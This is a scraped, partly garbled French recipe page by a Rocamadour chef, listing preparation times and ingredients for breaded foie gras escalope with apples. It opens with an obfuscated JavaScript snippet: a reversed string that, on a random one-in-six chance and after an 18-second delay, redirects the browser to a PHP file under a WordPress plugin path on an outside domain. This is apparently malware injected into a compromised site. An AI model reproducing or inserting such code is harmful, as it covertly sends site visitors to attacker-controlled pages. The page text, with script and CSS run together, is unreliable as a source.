) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1558803262552{padding-top: 10px !important;padding-right: 10px !important;padding-bottom: 10px !important;padding-left: 10px !important;background-color: #d3d3d3 !important;} »]Par Michel LEMOUZY, membre des « Bonnes Tables du Lot » et Chef du restaurant « Les vieilles Tours » à Rocamadour.

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Recette
Temps de préparation : 20 min

Temps de cuisson : 10 min

Ingrédient :
– Escalope de foie gras
– Pommes fruit
– Farine
– Chapelure
– Oeufs
– Jus de canard corsé
– Vinaigre de xérès
– Beurre
– Huile
– Miel